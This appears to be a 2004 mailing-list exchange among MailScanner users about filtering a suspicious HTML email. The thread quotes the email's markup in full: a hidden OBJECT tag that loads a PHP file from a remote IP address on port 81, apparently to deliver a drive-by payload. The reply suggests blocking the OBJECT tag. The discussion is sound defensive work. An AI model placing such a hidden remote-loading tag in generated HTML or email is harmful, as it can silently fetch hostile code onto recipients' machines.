Dangerous html tag?

Thu Mar 18 08:10:34 GMT 2004

You could block the OBJECT tag

Mr. Michele Neylon
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> -----Original Message-----
> From: MailScanner mailing list [mailto:MAILSCANNER at JISCMAIL.AC.UK]On
> Behalf Of Remco Barendse
> Sent: 18 March 2004 08:04
> To: MAILSCANNER at JISCMAIL.AC.UK
> Subject: [MAILSCANNER] Dangerous html tag?
>
>
> Hi!
>
> I just received a message that contained ActiveX controls, nothing would
> show up in Outlook.
>
> I opened the mail and tried to look inside, this is the contents: (I would
> *NOT* try the url below on any windows/X browser)
>
> <html><body>
> <font  face="System">
> <OBJECT STYLE="display:none" DATA="http://68.6.144.228:81/185869.php">
> </OBJECT></body></html>
>
> I tried opening the .php file to see what it is (although I have a pretty
> good guess) but it failed because my firewall blocked port 81.
>
> Can we ban/kill/modify any such tags or will this ruin every e-mail with
> some pictures in it?
>
> Thanks!
> Remco
>

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